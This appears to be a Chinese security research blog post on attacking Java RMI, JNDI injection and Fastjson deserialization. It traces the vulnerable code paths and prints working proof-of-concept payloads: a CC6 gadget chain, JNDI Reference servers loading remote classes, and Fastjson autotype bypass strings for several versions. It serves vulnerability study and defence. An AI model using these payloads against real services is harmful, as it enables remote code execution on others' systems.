RMI (Remote Method Invocation) 远程方法调用,就是可以使远程函数调用本地函数一样方便,因此这种设计很容易和RPC(Remote Procedure Calls)搞混。区别就在于RMI是Java中的远程方法调用,传递的是一个完整的对象,对象中又包含了需要的参数和数据。
RMI中有两个非常重要的概念,分别是Stubs(客户端存根)和Skeletons(服务端骨架),而客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。
su18师傅给出的一个通信原理图如下所示:
首先创建一个Demo来测试
IHello接口,需要继承于java.rmi.Remote,同时里面的所有实例都要抛出java.rmi.RemoteException异常
package com.example.rmiandJndi; import java.rmi.Remote; import java.rmi.RemoteException; public interface IHello extends Remote { String sayHello(String str) throws RemoteException; }
之后就需要创建一个实现类,并实现自IHello接口
package com.example.rmiandJndi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class HelloImpl implements IHello { protected HelloImpl() throws RemoteException { UnicastRemoteObject.exportObject(this, 0); } @Override public String sayHello(String name) { System.out.println(name+"+OK"); return name; } }
同时还需要在构造方法中调用UnicastRemoteObject.exportObject来导出远程对象,以使其可用于接收传入调用。
这里引用su18师傅的解释:
更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。
而RMI就是用java.rmi.registry.Registry和java.rmi.Naming两个主要类来实现整个功能
java.rmi.Naming中提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)等,来对注册中心(Registry)进行操作。
通常首先使用createRegistry方法在本地创建一个注册中心
package com.example.rmiandJndi; import java.rmi.registry.LocateRegistry; public class Registry { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); System.out.println("Server Start"); Thread.currentThread().join(); } catch (Exception e) { e.printStackTrace(); } } }
Server端再bind对象
package com.example.rmiandJndi; import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.RemoteException; public class RemoteServer { public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException { // 创建远程对象 IHello remoteObject = new HelloImpl(); // 绑定 Naming.bind("rmi://localhost:1099/Hello", remoteObject); } }
Client端通过lookup从Registry找到对应的对象引用
package com.example.rmiandJndi; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Arrays; public class RMIClient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099); System.out.println(Arrays.toString(registry.list())); // lookup and call IHello stub = (IHello) registry.lookup("Hello"); System.out.println(stub.sayHello("hi")); } }
首先启动RegistryCenter,再运行RemoteServer进行绑定,最后RMIClient调用lookup
Server端输出:
Client端输出:
补充知识点:如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,如果设置了 java.rmi.server.codebase,则会尝试从其中的地址获取 .class 并加载及反序列化。可使用如下代码进行设置。
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/");
意识到这个危害后,官方将 java.rmi.server.useCodebaseOnly 参数的默认值由false 改为了true 。在java.rmi.server.useCodebaseOnly参数配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。
所以之后的利用过程中需要完成以下两个步骤:
安装并配置了SecurityManager
配置 java.rmi.server.useCodebaseOnly 参数为false 例:java -Djava.rmi.server.useCodebaseOnly=false
当Server端存在一个Object参数的函数时候,可以利用这个函数直接执行反序列化
在Client端调用CC6链,即可造成远程命令执行
完整代码如下:
public static Object getEvilClass() throws NoSuchFieldException, IllegalAccessException{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); //Execute gadgets //lazyMap.get("anything"); TiedMapEntry tm = new TiedMapEntry(lazyMap,"all"); //HashMap#readObject会对key调用hash方法 HashMap expMap = new HashMap(); expMap.put(tm,"allisok"); lazyMap.remove("all"); //通过反射获取transformerChain中的私有属性iTransformers并设置为realTransformers Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chainedTransformer, transformers); return expMap; }
在Server端绑定服务对象的时候,传入恶意的类即可造成反序列化漏洞执行
public static void main(String[] args) throws RemoteException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException { Registry registry = LocateRegistry.getRegistry("localhost",1099); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String,Object> map = new HashMap<>(); map.put("wh4am1",getEvilClass()); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler); registry.rebind("wh4am1",remote); }
这里需要 Registry 端具有相应的依赖及相应 JDK 版本需求,这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.RMIRegistryExploit 的实现原理。
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。
JEP 290 主要提供了几个机制:
提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
限制反序列化的调用深度和复杂度;
为 RMI export 的对象设置了验证机制;
提供一个全局过滤器,可以在 properties 或配置文件中进行配置。
jep290会在反序列化的时候调用checkInput()
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
而之前攻击RMI Server的方式正好可以绕过JEP检查,原因是checkInput中的ObjID是在白名单中的。
JNDI(Java Naming and Directory Interface,Java命名和目录接口),通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
可以使用对应的Context来操作对应的功能
//创建JNDI目录服务上下文 InitialContext context = new InitialContext(); //查找JNDI目录服务绑定的对象 Object obj = context.lookup("rmi://127.0.0.1:1099/test")
示例代码通过lookup会自动使用rmiURLContext处理RMI请求。
LDAP在JDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。
package com.example.rmiandJndi; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RemoteException; import java.util.Hashtable; public class JNDItoRMI { public static void main(String[] args) throws NamingException, RemoteException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); //RegistryContextFactory 是RMI Registry Service Provider对应的Factory env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); Context ctx = new InitialContext(env); IHello local_obj = (IHello) ctx.lookup("rmi://127.0.0.1:1099/Hello"); System.out.println(local_obj.sayHello("hi")); } }
上述代码展现了JNDI的方式调用RMI Server端的sayHello函数。
同时ctx的lookup函数也有自动识别协议确定Factory的功能,getURLOrDefaultInitCtx()尝试获取对应协议的上下文环境。
Reference类表示对存在于Naming/Directory之外的对象引用,Reference可以远程加载类(file/ftp/http等协议),并且实例化。
因此可以通过绑定Reference对象,再通过Reference对象去请求远程的恶意类
package com.example.rmiandJndi.JndiRMI; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JndiRmiServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099);//Registry写在server里 Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }
Server端设置一个远程的EvilObject类
Client端直接通过InitialContext.lookup()解析
public static void main(String[] args) throws Exception { Context ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1:1099/refObj"); }
根据JNDI注入的利用,总结了如下表格:
JNDI服务 | 需要的安全属性值 | Version | 备注 |
---|---|---|---|
RMI | java.rmi.server.useCodebaseOnly==false | jdk>=6u45、7u21 true | true时禁用自动远程加载类 |
RMI、CORBA | com.sun.jndi.rmi.object.trustURLCodebase==true | jdk>=6u141、7u131、8u121 false | flase禁止通过RMI和CORBA使用远程codebase |
LDAP | com.sun.jndi.ldap.object.trustURLCodebase==true | jdk>=8u191、7u201、6u211 、11.0.1 false | false禁止通过LDAP协议使用远程codebase |
https://tttang.com/archive/1405/
浅蓝师傅提出的com.sun.glass.utils.NativeLibLoader类,是jdk原生的类,可以用这种方式结合一个JNI文件达到命令执行。前提是需要通过文件上传或者写文件gadget把JNI文件提前写入到磁盘上。
Poc:
private static ResourceRef tomcat_loadLibrary(){ ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadLibrary")); ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd")); return ref; }
这种方式估计对绕过RASP也有很好的帮助。
package com.example.rmiandJndi.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class toJsonSerial { public static void main(String[] args){ String json = "{\"@type\":\"com.example.rmiandJndi.fastjson.Evil\",\"cmd\":\"calc\"}"; Object obj = JSON.parseObject(json,Object.class, Feature.SupportNonPublicField); System.out.println(obj.getClass().getName()); } }
反序列化的时候,会自动调用@type的Evil类中的Setting方法进行赋值。
package com.example.rmiandJndi.fastjson; public class Evil { String cmd; public Evil(){ } public void setCmd(String cmd) throws Exception{ this.cmd = cmd; Runtime.getRuntime().exec(this.cmd); } public String getCmd(){ return this.cmd; } @Override public String toString() { return "Evil{" + "cmd='" + cmd + '\'' + '}'; } }
但是实际情况下肯定不会有开发人员故意写个后门给你利用,再来看看fastjson中常见的gadget
要想知道这个链的原理,首先就得过一遍Json解析的过程,以及如何调用@type指定的字段函数。
FastJson在执行反序列化解析的时候,会首先通过DefaultJSONParser.parseObject()
并之后进入DefaultJSONParser.parse(Object)函数switch-case分支的LBRACE分支
进入parseObject方法中,调用了config.getDeserializer(clazz)
跟进方法中可以找到调用了createJavaBeanDeserializer方法,在方法中new了一个JavaBeanDeserializer对象,new的过程中先是编译了JavaBeanInfo对象
在JavaBeanInfo创建的时候遍历了需要绑定的类所有成员方法,同时Setting方法满足如下几点的
方法名长度不能小于4
不能是静态方法
返回的类型必须是void 或者是自己本身
传入参数个数必须为1
方法开头必须是set
或者是Getting方法满足这几个条件的
方法名长度不小于4
不能是静态方法
方法名要get开头同时第四个字符串要大写
方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
传入的参数个数需要为0
而getOutputProperties方法满足Getting方法的要求,并添加到fieldList列表中
JavaBeanInfo编译好之后进入到JavaBeanDeserializer对象的构造方法中。
JavaBeanDeserializer对象的构造方法中,先把之前满足条件的fieldList创建字段序列器,并把它添加到sortedFieldDeserializers数组中。
再跟进createFieldDeserializer方法
方法直接创建了一个DefaultFieldDeserializer对象并返回,这里是设置了outputProperties字段的反序列化器。
再来看看JavaBeanDeserializer的第二个for循环,调用了getFieldDeserializer方法获取反序列化器
返回结果后,继续跟到DefaultJSONParser.parseObject()方法中,最后返回的时候调用了ObjectDeserializer.deserialze方法,而方法进入到了JavaBeanDeserializer类的deserialze方法中
在第570行,对传入的类进行了实例化,之后传入第600行调用parseField进行解析
跟进方法体中
可以看到最终调用了smartMatch方法匹配
在方法中,会将"_outputProperties"内容改为"outputProperties",并在后续通过getFieldDeserializer方法找到对应key的反序列化器
方法返回后,继续跟进,最终调用了改反序列化器的parseField方法
至于setValue中是如何设置的,可以跟进方法中查看
直接通过反射调用了TemplatesImpl的getOutputProperties方法
以上就是Fastjson调用的时候调用Setting/Getting方法所执行的原理
再来看看TemplatesImpl类是如何执行命令的
跟进newTransformer方法,在方法中调用了getTransletInstance(),并判断了_class是否为空,如果为空则继续调用defineTransletClasses()
而重点就在defineTransletClasses()方法中,调用了defineClass来定义_bytecodes的类
定义完成之后,在getTransletInstance方法中又调用了newInstance()实例化对象
_class[_transletIndex].newInstance();
而如果在恶意类中定义了static静态代码块,则会在实例化的时候自动执行代码内容。
完整的调用链如下所示:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
input#newInstance()
刚才讲的fastJson TemplatesImpl链需要设置Feature.SupportNonPublicField。条件太过苛刻。
先来看poc
package com.example.rmiandJndi.fastjson; import com.alibaba.fastjson.JSON; public class JdbcRowSetImplGadget { public static void main(String[] args) { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}"; JSON.parse(PoC); } }
之前说解析原理的时候讲过会自动调用对应的Setting/Getting方法,而JdbcRowSetImpl类中有一个setAutoCommit方法
方法中调用了connect(),跟进查看一下
调用了熟悉的InitialContext().lookup(),而这里的DataSourceName也可以通过反序列化解析的时候传入,因此只需要传入一个jndi地址即可达到反序列化执行。
1.TemplatesImpl 链
优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功)
缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
2.JdbcRowSetImpl 链
优点:利用范围更广,触发更为容易
缺点:当fastjson 不出网的话这个方法基本上不行(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址
程序修改了类加载的loadClass方式,采用了checkAutoType的黑+白名单的方式进行限制。
自从1.2.25 起 autotype 默认关闭
增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制
开启autotype方式
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
在1.2.42之后,防止安全研究人员研究黑名单,把黑名单的方式改成了Hash存放。
如下的Poc可以通杀1.2.25-1.2.47版本
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/refObj", "autoCommit":true } }
该poc无视checkAutoType
@type设置成java.lang.Class即可通过TypeUtils.loadClass的方式来加载恶意类
再来看看checkAutoType的抛出异常的地方
跟进getClassFromMapping(typeName)
正好是之前put好的mapping,正好可以绕过检验。
需要开启autoTypeSupport
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.2</version> </dependency>
Poc如下:
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["rmi://x.x.x.x:5555/Exp"], "Realms":[""]}
在JndiRealmFactory的getRealms方法中调用了lookup进行解析。
不需要开启autoTypeSupport
需要一个继承自java.lang.AutoCloseable的子类
import java.io.IOException; public class haha implements AutoCloseable{ public haha(String cmd){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } public void close() throws Exception { } }
Poc如下:
String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";
不需要开启autoTypeSupport
1.2.80和1.2.68的原理是一样的只不过利用了Throwable类,之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。
import java.io.IOException; public class CalcException extends Exception { public void setName(String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } } }
Poc:
String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";
[1].http://wjlshare.com/archives/1512
[2].https://xz.aliyun.com/t/11967
[3].https://blog.csdn.net/dreamthe/article/details/125851153